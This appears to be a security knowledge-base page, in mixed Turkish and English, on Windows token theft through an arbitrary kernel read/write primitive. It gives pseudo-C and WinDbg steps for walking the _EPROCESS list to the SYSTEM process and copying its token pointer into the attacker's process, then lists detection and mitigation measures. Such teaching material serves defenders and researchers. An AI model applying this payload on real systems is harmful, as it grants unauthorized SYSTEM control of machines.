Skip to content

Access token theft via arbitrary kernel R/W (hasherezade)

SYSTEM process'e (PID 4) kadar _EPROCESS listesini gez, onun Token'ını oku ve kendi process'inin Token pointer'ının üzerine yaz — unprivileged bir process'e SYSTEM security context'i veren data-only bir swap.

Mechanism

Tek bir pointer'ı kopyalamak neden tüm process'i escalate eder

Windows'ta her process bir nt!_EPROCESS structure'ı ile tanımlanır ve security context'ine tek bir field üzerinden ulaşılır — Token — ki bu bir nt!_TOKEN'a işaret eden bir _EX_FAST_REF'tir. Tüm access check'leri (file, object, privilege, impersonation) bu token'a danışır.

Burada suistimal edilen invariant şu: kernel, _EPROCESS içinde bulduğu Token pointer'ına ne olursa olsun güvenir — bir _EPROCESS ile "kendi" token'ı arasında process başına cryptographic bir bağ yoktur. Yani _EPROCESS.Token field'ını SYSTEM process'inin token object'ine işaret ettirirsen, sonraki her access check senin process'ini SYSTEM'in context'ine göre değerlendirir. Yeni privilege yaratmadın; var olan, tam yetkili bir token object'i ödünç aldın.

SYSTEM process'i (PID 4) stabil, güvenilir bir kaynaktır: her zaman var olur ve her zaman o her şeye gücü yeten SYSTEM token'ını tutar. Onu bulmak için _EPROCESS structure'larının ActiveProcessLinks LIST_ENTRY ile birbirine bağlı olduğu — dairesel, çift yönlü bağlı bir liste oluşturduğu — gerçeğinden faydalanırsın. Flink'i takip edip UniqueProcessId'yi 4 ile karşılaştırarak SYSTEM _EPROCESS'e ulaşırsın.

Bir incelik: Token bir _EX_FAST_REF olduğundan, low bit'ler adres bit'i değil bir reference count kodlar. Pointer değerini okurken bunları mask'lemen gerekir; yazarken de mask'lenmiş SYSTEM token değerini kendi Token field'ına yazarsın (stabilite için isteğe bağlı olarak kendi orijinal refcount bit'lerini geri OR'layabilirsin). Bu saf bir data-only technique'tir: kernel'de kod çalıştırmak gerekmez, yalnızca bir read primitive (listeyi gezip token'ı çekmek için) ve bir write primitive (kendi Token'ının üzerine yazmak için) yeter.

Walkthrough

Buraya bir bug'dan elde edilmiş, arbitrary bir kernel read/write primitive ile geliyorsun. Aşağıdaki offset'ler build'e özgüdür — hedef kernel için bir debugger'da (dt nt!_EPROCESS) doğrula. hasherezade'nin orijinal yazısı 32-bit durumu gösterir (Token +0xF8'de, _EX_FAST_REF'in low 3 bit'ini mask'leyerek).

1. Anchor on an _EPROCESS

Mevcut _EPROCESS base'ini çöz. Bir thread context'inden klasik zincir, processor block'tan aşağı mevcut process'e iner:

KPCR -> KPRCB -> CurrentThread (_KTHREAD) -> ApcState.Process (_KPROCESS)

_KPROCESS is the first member of _EPROCESS, so its base address is the _EPROCESS base.

// pseudo-C over a KernelRead(addr) primitive; offsets are build-specific
// (example offsets shown for one x64 build)
#define OFF_UNIQUE_PID   0x2e0   // _EPROCESS.UniqueProcessId
#define OFF_APLINKS      0x2e8   // _EPROCESS.ActiveProcessLinks (Flink)
#define OFF_TOKEN        0x4b8   // _EPROCESS.Token (_EX_FAST_REF)

ULONG64 eproc = current_eprocess;     // from step 1
ULONG64 sys   = 0;

ULONG64 start = eproc;
do {
    ULONG64 pid = KernelRead(eproc + OFF_UNIQUE_PID);
    if (pid == 4) { sys = eproc; break; }   // SYSTEM
    // Flink points at the NEXT entry's ActiveProcessLinks; back up to its base
    ULONG64 flink = KernelRead(eproc + OFF_APLINKS);
    eproc = flink - OFF_APLINKS;
} while (eproc != start);

3. Read SYSTEM's token (mask the _EX_FAST_REF)

ULONG64 sys_token = KernelRead(sys + OFF_TOKEN) & ~0xFULL;   // clear refcount bits

(In the 32-bit original the mask is & 0xFFFFFFF8, clearing 3 low bits.)

4. Overwrite our own token

ULONG64 my_token_field = KernelRead(current_eprocess + OFF_TOKEN);
ULONG64 refcnt         = my_token_field & 0xF;          // keep our refcount
KernelWrite(current_eprocess + OFF_TOKEN, sys_token | refcnt);

5. Confirm SYSTEM

No new process is needed — the current process now evaluates as SYSTEM. Spawning a shell from it yields a SYSTEM shell:

C:\> whoami
nt authority\system

WinDbg dry-run of the same idea

You can rehearse the read/write by hand before scripting it:

kd> !process 0 0 System
    PROCESS ffff... SessionId: none  Cid: 0004 ...
kd> ? poi(ffff<SYSTEM_EPROCESS>+0x4b8) & 0xFFFFFFFFFFFFFFF0   ; SYSTEM token
kd> eq <CUR_EPROCESS>+0x4b8 <that value>                      ; steal it

This is the pointer-swap sibling of the data-only privilege bitmap edit (see _TOKEN privilege bitmap overwrite): there you enable already-present privileges in your own token; here you replace the token wholesale with SYSTEM's. The Linux analogue is overwriting the cred struct — see commit_creds and cred struct overwrite.

Detection

  • A process whose _EPROCESS.Token points at the same object as the SYSTEM process, despite a non-SYSTEM origin, is a clear tampering signal; EDR/hypervisor can reconcile token ownership.
  • Sudden SYSTEM-level actions from a process that started unprivileged, with no legitimate impersonation/logon, indicates a token swap.

Mitigation

  • Remove the underlying arbitrary kernel R/W bug; VBS/HVCI and kernel CFG raise the cost of obtaining one.
  • Hypervisor-enforced token protection (e.g. monitoring writes to _EPROCESS.Token) can catch the swap out of band.

References